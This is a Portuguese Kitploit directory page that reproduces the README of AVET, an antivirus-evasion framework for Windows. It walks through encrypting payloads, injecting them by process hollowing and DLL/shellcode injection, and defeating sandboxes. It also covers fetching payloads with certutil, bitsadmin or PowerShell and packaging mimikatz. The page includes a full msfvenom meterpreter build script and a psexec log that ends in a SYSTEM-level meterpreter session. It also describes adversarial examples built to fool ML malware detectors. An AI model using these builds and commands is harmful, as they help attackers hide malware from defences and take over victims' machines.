Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
avet — Ferramenta de Evasão de Antivírus | Kitploit
Ferramentas/GitHubGitHub/govolution/avet
Ferramentas de Criptografia/DescriptografiaFrameworks de ExploraçãoGeração de PayloadsEvasão de IDS/IPSShellcodeTestes de PenetraçãoAprendizado de MáquinaPapers e PesquisaAprendizado e EducaçãoRed TeamingAtaque Adversário
1.8k3311há 1 anoRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
govolution/avet

avet

Ferramenta de Evasão de Antivírus

Ver Repositório

Ferramenta de Evasão de Antivírus

AVET não está mais sendo desenvolvido devido a limitações técnicas e de tempo.

AVET é uma Ferramenta de Evasão de Antivírus, desenvolvida para facilitar a vida de pentesters e para experimentar técnicas de evasão de antivírus, bem como outros métodos usados por softwares maliciosos. Para uma visão geral dos novos recursos na v2.4, bem como incrementos de versões anteriores, consulte o arquivo CHANGELOG.

Índice

  • Instalação

  • Docker

  • AVET de forma fácil

  • AVET de forma normal

  • Documentação (clique para expandir)
    • Métodos de recuperação de dados
    • Criptografia e Codificação
    • Evasão de sandbox
    • Execução de comandos adicionais
    • Ferramentas auxiliares
    • AVET e metasploit psexec
    • Exemplos Adversariais
  • Mais

Alguns recursos

  • ao executar um arquivo .exe feito com msfpayload e outros, o arquivo frequentemente será reconhecido por softwares antivírus
  • AVET é uma ferramenta de evasão de antivírus direcionada a máquinas Windows com arquivos executáveis
  • diferentes tipos de payloads de entrada podem ser usados agora: shellcode, exe e dlls
  • mais técnicas disponíveis: injeção de shellcode/dll, process hollowing e mais
  • métodos flexíveis de recuperação para payload, chave de descriptografia, etc.
  • uso como dropper
  • Encadear múltiplas iterações do AVET permite adicionar múltiplas camadas de evasão, se necessário
  • combinação de técnicas: baixe seu payload criptografado via powershell, enquanto fornece a chave de descriptografia por argumento de linha de comando no momento da execução, e finalmente injete seu payload em outro processo, escolhendo entre múltiplas técnicas
  • verificações básicas de sandbox
  • geração de exemplos adversariais contra detectores estáticos baseados em aprendizado de máquina
  • execute todos os scripts de build disponíveis com build_script_tester.py, também pode ser interessante para pesquisadores construírem um conjunto de amostras "maliciosas" usando diferentes técnicas de evasão e injeção

Nota Importante

Nem todas as técnicas evadirão todos os mecanismos de antivírus. Se uma técnica ou script de build não funcionar, teste outra. Sinta-se à vontade para experimentar! Afinal, isso é uma caixa de ferramentas - mas você mesmo deve empunhar o martelo.

Instalação

A Instrução de Instalação se aplica para Kali 64bit e tdm-gcc!

Você pode usar o script de setup:```bash ./setup.sh

root@kitploit:~
Isso deve iniciar automaticamente instalando/configurando wine e instalando tdm-gcc.
Em breve você terá que clicar na interface gráfica do instalador do tdm-gcc - as configurações padrão devem estar boas.
O script também perguntará se você deseja instalar as dependências do AVET, que são necessárias para usar alguns scripts de compilação. As dependências baixadas serão colocadas em pastas separadas ao lado da pasta avet.

As dependências baixarão as versões mais recentes de:
- [pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [mimikatz](https://github.com/gentilkiwi/mimikatz)
- [DKMC](https://github.com/Mr-Un1k0d3r/DKMC)

Se por algum motivo você quiser instalar wine e tdm-gcc manualmente:
- [How to install tdm-gcc with wine](https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/)

## Docker

Se você não estiver usando Kali ou não quiser instalar o Metasploit no seu sistema, você pode usar o Container Docker.
O container encapsula Metasploit e avet e as amostras serão criadas no seu diretório atual.
Também é possível usar um editor de texto gráfico como o gedit.

Construindo o container:```bash
sudo docker build -t avet:v0.1 .

Uso:```bash sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet:v0.1 /bin/bash

root@kitploit:~
Para uma melhor experiência, é recomendado criar um alias para isso.```bash
# In your .bash_profile, .bashrc or .bash_aliases

alias avet='sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet /bin/bash'

AVET do jeito fácil

avet.py é um pequeno utilitário Python que foi projetado para ajudá-lo no uso da ferramenta.

Ele lista todos os scripts atualmente presentes na pasta de build. Após selecionar um, você poderá percorrer o script linha por linha, tendo a oportunidade de modificar o conteúdo em tempo real.

Isso é especialmente útil, pois você pode definir novas variáveis LHOST e LPORT para o msfvenom cada vez que executar um script de build via fabric.
Você pode definir valores padrão de LHOST e LPORT no arquivo /build/global_connect_config.sh, que são usados se você não redefini-los.

Essas modificações são temporárias, o que significa que quaisquer alterações feitas não persistirão no script de build no disco.
A versão modificada é executada uma vez, e seu executável é construído.

Aqui está um exemplo rápido (Clique para expandir):``` python3 avet.py
root@kitploit:~
                   .|        ,       +
         *         | |      ((             *
                   |'|       `    ._____
     +     ___    |  |   *        |.   |' .---"|
   _    .-'   '-. |  |     .--'|  ||   | _|    |
.-'|  _.|  |    ||   '-__  |   |  |    ||      |
|' | |.    |    ||       | |   |  |    ||      |

| '-' ' "" '-' '-.' '` |_ jgs~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Welcome to the avet Assistant!

0 : build_40xshikata_revhttpsunstaged_win32.sh 1 : build_50xshikata_quiet_revhttps_win32.sh 2 : build_50xshikata_revhttps_win32.sh 3 : build_asciimsf_fromcmd_revhttps_win32.sh 4 : build_asciimsf_revhttps_win32.sh 5 : build_avetenc_dynamicfromfile_revhttps_win32.sh 6 : build_avetenc_fopen_revhttps_win32.sh 7 : build_avetenc_mtrprtrxor_revhttps_win64.sh 8 : build_calcfromcmd_50xshikata_revhttps_win32.sh 9 : build_calcfrompowersh_50xshikata_revhttps_win32.sh 10 : build_checkdomain_rc4_mimikatz.sh 11 : build_cpucores_revhttps_win32.sh 12 : build_disablewindefpsh_xorfromcmd_revhttps_win64.sh 13 : build_dkmc_downloadexecshc_revhttps_win32.sh 14 : build_downloadbitsadmin_mtrprtrxor_revhttps_win64.sh 15 : build_downloadbitsadmin_revhttps_win32.sh 16 : build_downloadcertutil_revhttps_win32.sh 17 : build_downloadcurl_mtrprtrxor_revhttps_win64.sh 18 : build_downloadiexplorer_revhttps_win32.sh 19 : build_downloadpsh_revhttps_win32.sh 20 : build_downloadsocket_mtrprtrxor_revhttps_win64.sh 21 : build_downloadsocket_revhttps_win32.sh 22 : build_dynamicfromfile_revhttps_win32.sh 23 : build_fibonacci_rc4_mimikatz.sh 24 : build_fopen_mtrprtrxor_revhttps_win64.sh 25 : build_fopen_quiet_revhttps_win32.sh 26 : build_fopen_revhttps_win32.sh 27 : build_getchar_rc4_mimikatz.sh 28 : build_gethostbyname_revhttps_win32.sh 29 : build_hasvmkey_revhttps_win32.sh 30 : build_hasvmmac_revtcp_win32.sh 31 : build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win64.sh 32 : build_hollowing_targetfromcmd_doubleenc_doubleev_revtcp_win32.sh 33 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win32.sh 34 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win64.sh 35 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revhttps_win64.sh 36 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revtcp_win32.sh 37 : build_kaspersky_fopen_shellrevtcp_win32.sh 38 : build_mimikatz_pe2shc_xorfromcmd_win64.sh 39 : build_pause_rc4_mimikatz.sh 40 : build_rc4_interactive_pwsh_mimikatz_win64.sh 41 : build_rc4_interactive_with_arithmetic_pwsh_mimikatz_win64.sh 42 : build_rc4enc_mimikatz_win64.sh 43 : build_sleep_rc4_mimikatz.sh 44 : build_sleepbyping_rc4_mimikatz.sh 45 : build_timedfibonacci_rc4_mimikatz.sh 46 : buildsvc_20xshikata_bindtcp_win32.sh

Baixar ferramenta

Which Script would you like to configure and build? Enter the corresponding number -> 43

DESCRIPTION :

RC4-encrypt the payload with a static, preset key.

Here, the mimikatz executable is used as payload, converted into shellcode format by pe_to_shellcode.

pe_to_shellcode is written by Hasherezade:

https://github.com/hasherezade/pe_to_shellcode

This script expects the Mimikatz executable to be at input/mimikatz.exe

and the pe_to_shellcode executable to reside in a folder parallel to avet: ../pe_to_shellcode/pe2shc.exe

Configure the Build Script

enable debug output

-> enable_debug_print

generate key file with preset key

-> generate_key preset aabbccdd1122

Do you want to add sandbox evasions? [y/N] -> N

Executable will be created Shortly please wait.

*** ============================================= ***

root@kitploit:~
     .==,_                                          
    .===,_`\\                                        
  .====,_ ` \\      .====,__                         

--- .==-,~. \\ :.__, --- ~~=-. \ /^^^ MEEP MEEP
--- ~~=. \\ / ~. \ /
~. \____./
`.=====)
_.--~~~--.
__\.--~~~ ~~~---..|/
~~~\" /


|\ __ |\ \ / /|\ \ |_ \ \ \ |\ \ \ \ / / | \ _ |__|\ _| \ \ __ \ \ / / / \ \ \ \ \ \
\ \ \ \ \ \ / / \ \ _
\ \ \ \ _\ _\ _/ / \ _\ \ __
|
|||||/ |___| ||

*** ============================================= ***

Reading module from: input/mimikatz.exe [WARNING] This is a console application! The recommended subsystem is GUI. [+] Saved as: input/sc_raw.txt Starting RC4 encoder... Reading payload from file input/sc_raw.txt, expecting raw format. payload size in bytes is 1309884 Reading key from file input/key_raw.txt, expecting raw format. Key length in bytes is 6 Applying RC4 algorithm Writing payload to file input/sc_enc_raw.txt

The decryption key is aabbccddee if it has not been changed.

You need to provide the decryption key as 2nd command line argument.

Call generated executable on target like:

$ rc4enc_mimikatz_win64.exe [your mimikatz arguments, probably 'coffee'] [decryption key]

Your executable should be in the output folder!

root@kitploit:~
</details>

## AVET da maneira normal

Claro que é possível executar todos os comandos passo a passo a partir da linha de comando. No entanto, na pasta "build" você encontrará scripts de construção pré-configurados para casos de uso relevantes.
Os próprios scripts de construção são escritos de forma que devem ser chamados de dentro do diretório avet.```bash
kali@kali:~/tools/avet$ ./build/build_fopen_mtrprtrxor_revhttps_win64.sh

Você pode definir os valores padrão de LHOST e LPORT para payloads do metasploit no arquivo /build/global_connect_config.sh, que são usados se você não redefinir.

Exemplos de uso

Gere um executável de hollowing de processo de 32 bits em duas etapas (como em build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win32.sh):

Primeiro, gere o payload de hollowing com AVET:

  • gere shellcode 32-bit meterpreter/reverse_https
  • o shellcode meterpreter será criptografado com XOR usando uma chave predefinida de 5 bytes
  • o shellcode será compilado no executável gerado
  • as verificações ambientais de evasão de sandbox fopen e gethostbyname serão realizadas antes de executar o shellcode

Segundo, construa o executável "dropper" que entrega o payload da primeira etapa via hollowing:

  • compile estaticamente o payload da primeira etapa no executável
  • o payload será criptografado com XOR usando uma chave predefinida diferente de 5 bytes
  • novamente, as verificações ambientais de evasão de sandbox fopen e gethostbyname serão realizadas antes do hollowing
  • o PID alvo do hollowing será fornecido via argumento de linha de comando no momento da execução

Assim, você obtém um payload meterpreter criptografado e verificado ambientalmente em duas camadas, inserido via hollowing em um processo de sua escolha. Embora as configurações no script de build sejam principalmente para fins de demonstração, há muita flexibilidade para personalizar seu executável gerado fazendo modificações simples no script de build.

Você pode trocar os métodos de recuperação de dados: em vez de compilar estaticamente a maioria dos dados no executável, você pode baixar seu payload de hollowing via powershell, baixar a chave de descriptografia via sockets, usar criptografia ou verificações ambientais diferentes, etc.

Ou tente adicionar mais camadas de evasão fazendo uma terceira iteração de build. Ou troque o payload. Quer usar o Mimikatz em vez disso? Converta-o em shellcode via https://github.com/hasherezade/pe_to_shellcode, e altere o payload no script de build.

Claro, você também pode projetar builds mais minimalistas, como executar shellcode não criptografado com apenas uma verificação ambiental, ou talvez 50 iterações de shikata sejam suficientes para atingir seu objetivo? Escolha/modifique os scripts de build de acordo com suas necessidades.

Scripts de build

Abaixo, encontre uma lista de todos os scripts de build atualmente fornecidos. Os nomes devem dar uma dica sobre a funcionalidade de cada script. Para informações detalhadas, considere os comentários dentro dos scripts. Sinta-se à vontade para modificar/escrever seus próprios scripts de build para construir seu executável personalizado!

Clique para expandir ``` build_40xshikata_revhttpsunstaged_win32.sh build_50xshikata_revhttps_win32.sh build_50xshikata_quiet_revhttps_win32.sh build_asciimsf_fromcmd_revhttps_win32.sh build_asciimsf_revhttps_win32.sh build_avetenc_dynamicfromfile_revhttps_win32.sh build_avetenc_fopen_revhttps_win32.sh build_avetenc_mtrprtrxor_revhttps_win64.sh build_calcfromcmd_50xshikata_revhttps_win32.sh build_calcfrompowersh_50xshikata_revhttps_win32.sh build_cpucores_revhttps_win32.sh build_checkdomain_rc4_mimikatz.sh build_disablewindefpsh_xorfromcmd_revhttps_win64.sh build_dkmc_downloadexecshc_revhttps_win32.sh build_downloadbitsadmin_mtrprtrxor_revhttps_win64.sh build_downloadbitsadmin_revhttps_win32.sh build_downloadcertutil_revhttps_win32.sh build_downloadcurl_mtrprtrxor_revhttps_win64.sh build_downloadiexplorer_revhttps_win32.sh build_downloadpsh_revhttps_win32.sh build_downloadsocket_mtrprtrxor_revhttps_win64.sh build_downloadsocket_revhttps_win32.sh build_dynamicfromfile_revhttps_win32.sh build_fibonacci_rc4_mimikatz.sh build_fopen_mtrprtrxor_revhttps_win64.sh build_fopen_quiet_revhttps_win32.sh build_fopen_revhttps_win32.sh build_getchar_rc4_mimikatz.sh build_gethostbyname_revhttps_win32.sh build_hasvmkey_revhttps_win32.sh build_hasvmmac_revtcp_win32.sh build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win64.sh build_hollowing_targetfromcmd_doubleenc_doubleev_revtcp_win32.sh build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win32.sh build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win64.sh build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revhttps_win64.sh build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revtcp_win32.sh build_kaspersky_fopen_shellrevtcp_win32.sh build_mimikatz_pe2shc_xorfromcmd_win64.sh build_pause_rc4_mimikatz.sh build_rc4_interactive_pwsh_mimikatz_win64.sh build_rc4_interactive_with_arithmetic_pwsh_mimikatz_win64.sh build_rc4enc_mimikatz_win64.sh build_sleep_rc4_mimikatz.sh build_sleepbyping_rc4_mimikatz.sh build_timedfibonacci_rc4_mimikatz.sh buildsvc_20xshikata_bindtcp_win32.sh ```

Documentação

Métodos de recuperação de dados

Estes métodos são compatíveis com todas as fontes de dados do AVET e podem ser usados como tal no script de build.

Alguns exemplos:```

Compiles the command 'calc.exe' statically into the executable, which will then be executed via cmd at sample startup.

set_command_source static_from_here 'calc.exe' set_command_exec exec_via_cmd

Download 64-bit shellcode via powershell, and execute.

set_payload_source download_powershell set_payload_execution_method exec_shellcode64

Download XOR decryption key into memory. (Server to download from is always specified via first command line argument on execution). Decode the payload.

set_key_source download_socket set_decoder xor

Retrieves the tuple (target PID, dll path) from command line on execution

set_payload_info_source from_command_line_raw set_payload_execution_method inject_dll

root@kitploit:~
Se os recursos forem ignorados/não utilizados, você deve especificar um comportamento semelhante ao NOP em vez disso:```
set_command_source no_data
set_command_exec no_command

static_from_file

Os dados são recuperados de um arquivo e são compilados estaticamente no executável gerado. Para que isso funcione, os dados devem ser fornecidos como um array no estilo C no momento da compilação, como``` unsigned char buf[] = "\x00\x11\x22\x33";

root@kitploit:~
#### static_from_here
Os dados são compilados estaticamente no executável gerado,
recuperados do argumento especificado no script de compilação.

#### dynamic_from_file
Os dados são lidos de um arquivo em tempo de execução.

#### from_command_line_hex
Recupera dados de uma string hexadecimal no formato "11aabb22.." (da linha de comando).

#### from_command_line_raw
Recupera dados de um argumento da linha de comando. A string ASCII fornecida é interpretada como dados brutos em bytes.

#### download_certutil
Baixa dados de uma URI especificada, usando ```certutil.exe -urlcache -split -f```.
Salva o arquivo baixado no disco antes de ler os dados.

#### download_curl
Baixa os dados usando curl.
Salva o arquivo baixado no disco antes de ler os dados.

#### download_internet_explorer
Baixa dados de uma URL especificada, usando o Internet Explorer.
Salva o arquivo baixado no disco antes de ler os dados.

#### download_powershell
Baixa dados de uma URI especificada via powershell.
Salva o arquivo baixado no disco antes de ler os dados.

#### download_socket
Baixa os dados de uma URI especificada, usando sockets.
Os dados são lidos diretamente na memória, nenhum arquivo é salvo no disco.

#### download_bitsadmin
Baixa os dados usando o utilitário BITSAdmin do Windows.
Salva o arquivo baixado no disco antes de ler os dados.

### Métodos de execução de payload
Como executar/entregar o payload. Os métodos de injeção/hollowing exigem informações adicionais sobre o alvo da injeção, que podem ser fornecidas via ```set_payload_info_source <the_info>``` (veja os métodos de recuperação de dados).

#### exec_shellcode
Executa shellcode de 32 bits com uma ligação de função C.

#### exec_shellcode64
Executa shellcode de 64 bits com uma ligação de função C e VirtualProtect.

#### exec_shellcode_ASCIIMSF
Executa shellcode codificado em ASCIIMSF via ```call eax```.

#### hollowing32
Instancia um novo processo, remove a imagem original e insere o payload fornecido no novo processo.
O payload é uma imagem executável de 32 bits. Funciona em alvos de 32 bits.

#### hollowing64
Mesmo que hollowing32, mas usando payloads PE de 64 bits para processos alvo de 64 bits.

#### inject_dll
Injeta uma dll em um processo alvo, usando ```CreateRemoteThread```.
A injeção funciona para payloads de 32 bits em processos de 32 bits e para payloads de 64 bits em processos de 64 bits, respectivamente.

#### inject_shellcode
Injeta shellcode em um processo alvo, usando ```CreateRemoteThread```.
A injeção funciona para shellcode de 32 bits em processos de 32 bits e para shellcode de 64 bits em processos de 64 bits, respectivamente.

### Criptografia e Codificação
O AVET fornece codificadores para cada esquema, que podem ser aplicados no payload antes da compilação/entrega.
Na execução, o decodificador especificado então desofusca novamente o payload em tempo de execução.

Aqui está um exemplo RC4, onde a chave de descriptografia é recuperada da linha de comando em formato hexadecimal no momento da execução:```
generate_key preset aabbccddee input/key_raw.txt
encode_payload rc4 input/shellcode_raw.txt input/shellcode_enc_raw.txt input/key_raw.txt
set_key_source from_command_line_hex
set_decoder rc4

Você também pode pular o recurso de codificação ao não codificar mais o shellcode e configurar:``` set_key_source no_data set_decoder none

root@kitploit:~
#### xor
XOR rotativo, com suporte a chaves multibyte.

#### avet
Codificação personalizada, reinterpretando o formato ASCII.

#### rc4
Criptografia/descriptografia RC4, com comprimento de chave flexível.

### Evasão de depurador e sandbox
Estas são verificações ambientais realizadas antes da eventual codificação e execução do payload. Se um ambiente de execução desagradável for detectado (ex.: sandbox de antivírus), a execução é interrompida.

Atualmente, você pode enfileirar arbitrariamente até 10 verificações. O uso da mesma técnica múltiplas vezes é suportado. O limite da fila *EVASION_ARRAY_SIZE* pode, no entanto, ser facilmente modificado em *avet.c*.

#### verificação de depurador presente
Verifica com a função isDebuggerPresent() se um depurador está presente. Sai se verdadeiro.```
add_evasion is_debugger_present

sleep

Aguarda por um determinado tempo antes da execução. A duração (em segundos) pode ser especificada no script de construção, como```

sleep for 3 seconds

add_evasion evasion_by_sleep 3

root@kitploit:~
#### sleep by ping
Interrompe a execução do programa por segundos especificados, invocando um comando ping cronometrado contra o localhost.
O programa faz ping uma vez por segundo.```
add_evasion sleep_by_ping 4

verificar fast forwarding

Verificar se o sandbox utiliza fast forwarding para reduzir o tempo de verificação heurística. O tempo local e o sleep são usados.``` add_evasion check_fast_forwarding

root@kitploit:~
#### get tickcount
Verificar se o sandbox utiliza fast forwarding para reduzir o tempo de verificação heurística. Uptime e sleep são usados.```
add_evasion get_tickcount

Nome de usuário

Obter nome de usuário e comparar com o nome de usuário fornecido. Sair se não corresponder.``` add_evasion has_username 'IEUser'

root@kitploit:~
#### Messagebox
Criar uma Messagebox simples antes da execução. Se a Aritmética não for resolvida corretamente, o programa sai.```
add_evasion interaction_msg_box

getchar

Aguarde até que a entrada seja fornecida usando getchar.``` add_evasion interaction_getchar

root@kitploit:~
#### pausa do sistema
Executa system("pause"), fazendo com que o cmd gerado (e nosso processo principal) aguarde qualquer tecla pressionada.```
add_evasion interaction_system_pause

fopen

Verifica a existência de um arquivo. Se não for encontrado, interrompe a execução. O nome do arquivo pode ser especificado no script de construção, como``` add_evasion fopen_sandbox_evasion 'c:\windows\system.ini'

root@kitploit:~
#### informações da BIOS
Verifica se é possível obter a tabela de firmware SMBIOS. Interrompe a execução se não for.```
add_evasion get_bios_info

gethostbyname

Tente resolver um hostname de sua escolha. Se gethostbyname retornar diferente de NULL, pare a execução. O hostname a ser verificado pode ser especificado no script de compilação, como``` add_evasion gethostbyname_sandbox_evasion 'testdomain.com'

root@kitploit:~
#### get_cpu_cores
Verifica o número de núcleos de CPU no alvo. Se o número for menor que o valor especificado, interrompe a execução.```
add_evasion get_cpu_cores 2

has_vm_mac

Verifica prefixos MAC específicos de fornecedor. Se algum for identificado, interrompe a execução.``` add_evasion has_vm_mac

root@kitploit:~
#### has_vm_regkey
Verifica chaves de registro específicas do fornecedor. Se alguma for identificada, interrompe a execução.```
add_evasion has_vm_regkey

hide_console

Não é realmente uma técnica de evasão, mas esconde sua janela do console ;)``` add_evasion hide_console

root@kitploit:~
#### Data de Instalação
Buscar a data de instalação do Windows e compará-la com a especificada. Se as datas não coincidirem, interromper a execução. A data precisa ser especificada no formato dd/mm/yyyy.```
add_evasion get_install_date '24/11/2007'

Número de Processos

Conte o número de processos em execução. Se o número de processos for menor que o limite fornecido, pare a execução.``` add_evasion get_num_processes 50

root@kitploit:~
#### Navegador Padrão
Lê a chave do registo para obter o navegador padrão. Se o navegador não corresponder ao valor fornecido, interrompe a execução. Os valores possíveis são MSEdgeHTM, Firefox ou ChromeHTML.```
add_evasion get_standard_browser 'Firefox'

Domínio

Consulta o domínio DNS em que o alvo está. Se o alvo não estiver no domínio esperado conforme especificado, o programa encerra.``` add_evasion get_computer_domain 'domain.com'

root@kitploit:~
#### Computação
Fibonacci

Calcula iterações especificadas da série de Fibonacci.
Provavelmente produzirá resultados falsos para n maior devido a limites de inteiros.```
# 10 iterations
add_evasion computation_fibonacci 10

Timed Fibonacci

Interrompe as computações de Fibonacci após aproximadamente o número especificado de segundos.```

Stops computation after 20 seconds

add_evasion computation_timed_fibonacci 20

root@kitploit:~
#### Pastas e mais
Verifique se o Artefato existe, se não pare a execução. Os caminhos devem estar no estilo Unix.

Papel de parede de fundo:```
add_evasion has_background_wp

Verificar se a pasta existe:``` add_evasion has_folder 'C:/Users/user/Downloads/'

root@kitploit:~
Verificar Desktop Público:```
add_evasion has_public_desktop

Verificar a Lixeira``` add_evasion has_recycle_bin

root@kitploit:~
Verificar pasta de arquivos recentes```
add_evasion has_recent_files

Verificar unidade de rede``` add_evasion has_network_drive

root@kitploit:~
### Execução adicional de comando
Concede a você a capacidade de executar um payload adicional de cmd/powershell diretamente após as eventuais funções de evasão de sandbox.
A fonte do payload é compatível com os métodos de recuperação de dados do AVET.

O exemplo seguinte baixa um payload do powershell via BITSAdmin:```
set_command_source download_bitsadmin
set_command_exec exec_via_powershell

Ferramentas auxiliares

data_raw_to_c

Recebe dados brutos de um arquivo, converte-os para o formato de array C e escreve a saída em outro arquivo. Isso ajuda a fornecer o formato correto para o método de recuperação de dados static_from_file.

generate_key

Utilitário de geração de chaves. Gera uma chave aleatória (não criptograficamente segura) ou recebe uma chave predefinida como entrada e gera os dados brutos da chave em um arquivo especificado. Isso ajuda a fornecer material de chave para o recurso de criptografia do AVET.

sh_format

Utilitário do AVET 1.3 que realiza a codificação AVET.

AVET e metasploit psexec

O AVET é compatível com o módulo psexec do metasploit. Para isso, o executável gerado precisa ser compilado como um Serviço do Windows, o que é implementado usando avetsvc.c. Considere o script de build de exemplo correspondente

build_svc_20xshikata_bindtcp_win32.sh:``` #!/bin/bash

Designed for use with msf psexec module!

print AVET logo

cat banner.txt

include script containing the compiler var $win32_compiler

you can edit the compiler in build/global_win32.sh

or enter $win32_compiler="mycompiler" here

. build/global_win32.sh

import global default lhost and lport values from build/global_connect_config.sh

. build/global_connect_config.sh

override connect-back settings here, if necessary

LPORT=$GLOBAL_LPORT

make meterpreter bind payload, encoded 20 rounds with shikata_ga_nai

msfvenom -p windows/meterpreter/bind_tcp lport=$LPORT -e x86/shikata_ga_nai -i 20 -f raw -a x86 --platform Windows > input/sc_raw.txt

import feature construction interface

. build/feature_construction.sh

add evasion techniques

add_evasion fopen_sandbox_evasion 'c:\windows\system.ini' add_evasion gethostbyname_sandbox_evasion 'this.that'

generate key file

generate_key preset aabbcc12de input/key_raw.txt

encode shellcode

encode_payload xor input/sc_raw.txt input/scenc_raw.txt input/key_raw.txt

array name buf is expected by static_from_file retrieval method

./tools/data_raw_to_c/data_raw_to_c input/scenc_raw.txt input/scenc_c.txt buf

no command preexec

set_command_source no_data set_command_exec no_command

set shellcode source

set_payload_source static_from_file input/scenc_c.txt

convert generated key from raw to C into array "key"

./tools/data_raw_to_c/data_raw_to_c input/key_raw.txt input/key_c.txt key

set key source

set_key_source static_from_file input/key_c.txt

set payload info source

set_payload_info_source no_data

set decoder

set_decoder xor

set shellcode binding technique

set_payload_execution_method exec_shellcode

enable debug printing

enable_debug_print to_file C:/avetdbg.txt

compile as service

$win32_compiler -o output/service.exe source/avetsvc.c -lws2_32 strip output/service.exe

cleanup

cleanup_techniques

root@kitploit:~
E do lado do metasploit:```
msf exploit(psexec) > use exploit/windows/smb/psexec
msf exploit(psexec) > set EXE::custom /root/tools/ave/pwn.exe
EXE::custom => /root/tools/ave/pwn.exe
msf exploit(psexec) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(psexec) > set rhost 192.168.116.183
rhost => 192.168.116.183
msf exploit(psexec) > set smbuser dax
smbuser => dax
msf exploit(psexec) > set smbpass test123
smbpass => test123
msf exploit(psexec) > set lport 8443
lport => 8443
msf exploit(psexec) > run

[*] 192.168.116.183:445 - Connecting to the server...
[*] Started bind handler
[*] 192.168.116.183:445 - Authenticating to 192.168.116.183:445 as user 'dax'...
[*] Sending stage (957487 bytes) to 192.168.116.183
[*] 192.168.116.183:445 - Selecting native target
[*] 192.168.116.183:445 - Uploading payload...
[*] 192.168.116.183:445 - Using custom payload /root/tools/avepoc/a.exe, RHOST and RPORT settings will be ignored!
[*] 192.168.116.183:445 - Created \mzrCIOVg.exe...
[+] 192.168.116.183:445 - Service started successfully...
[*] 192.168.116.183:445 - Deleting \mzrCIOVg.exe...
[-] 192.168.116.183:445 - Delete of \mzrCIOVg.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0)
[*] Exploit completed, but no session was created.
msf exploit(psexec) > [*] Meterpreter session 4 opened (192.168.116.142:33453 -> 192.168.116.183:8443) at 2017-05-27 18:47:23 +0200

msf exploit(psexec) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
4 meterpreter x86/windows NT-AUTORIT_T\SYSTEM @ DAX-RYMZ48Z3EYO 192.168.116.142:33453 -> 192.168.116.183:8443 (192.168.116.183)

msf exploit(psexec) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > sysinfo
Computer : DAX-RYMZ48Z3EYO
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : de_DE
Domain : ARBEITSGRUPPE
Logged On Users : 2
Meterpreter : x86/windows

Exemplos Adversariais

Exemplos adversariais são entradas especificamente criadas com o propósito de induzir modelos de aprendizado de máquina a classificar erroneamente.

Para usar este método, crie um ambiente virtual e instale as dependências necessárias do requirements.txt.

Manipulações Práticas

Cinco manipulações que preservam a funcionalidade para arquivos PE estão disponíveis:

Practical Manipulations

Para aplicar a manipulação prática ao malware com bytes aleatórios injetados, use o comando gen_adversarial_exe seguido pelo nome da manipulação prática e o caminho para o arquivo como parâmetros. As manipulações disponíveis são full_dos, extend, shift, padding, section_injection.

Por exemplo:```sh gen_adversarial_exe section_injection output/rc4enc_mimikatz_adversarial_win64.exe

root@kitploit:~
### Otimização Genética
Em vez de injetar conteúdo aleatório, é possível otimizar o conteúdo para obter maior probabilidade de evasão.
O otimizador extrai seções benignas de goodware e usa um algoritmo genético para otimizar o conteúdo injetado.
O conteúdo é otimizado contra o MalConv, que é um detector estático baseado em aprendizado de máquina, baseado em uma rede neural convolucional.
A implementação do MalConv utilizada é da biblioteca [SecML Malware](https://github.com/pralab/secml_malware).

Goodware é necessário e deve ser colocado na pasta `input/goodware_samples`.
O [DikeDataset](https://github.com/iosifache/DikeDataset), por exemplo, é uma boa fonte para obter arquivos executáveis benignos. Quanto mais, melhor, mas 100 é suficiente para fins de teste.

Para usar o otimizador, utilize o comando `$genetic_optimizer`:```sh
$genetic_optimizer -pm $practical_manipulation -p $population_size output/rc4enc_mimikatz_adversarial_win64.exe

Opções possíveis:``` -p, --population_size, default=50 -e, --elitsm, default=10 -i, --iteration, default=10 -pr, --penalty_regularizer, default=1e-6 -ss, --section_size, default=10 -pm, --practical_manipulation, default=section_injection

root@kitploit:~
Mais sobre exemplos adversariais, otimização genética e MalConv podem ser lidos aqui:
- [Adversarial EXEmples: A Survey and Experimental Evaluation of Practical Attacks on Machine Learning for Windows Malware Detection](https://arxiv.org/abs/2008.07125)
- [Functionality-preserving Black-box Optimization of Adversarial Windows Malware](https://arxiv.org/abs/2003.13526)
- [Malware Detection by Eating a Whole EXE](https://arxiv.org/abs/1710.09435)

## More
---

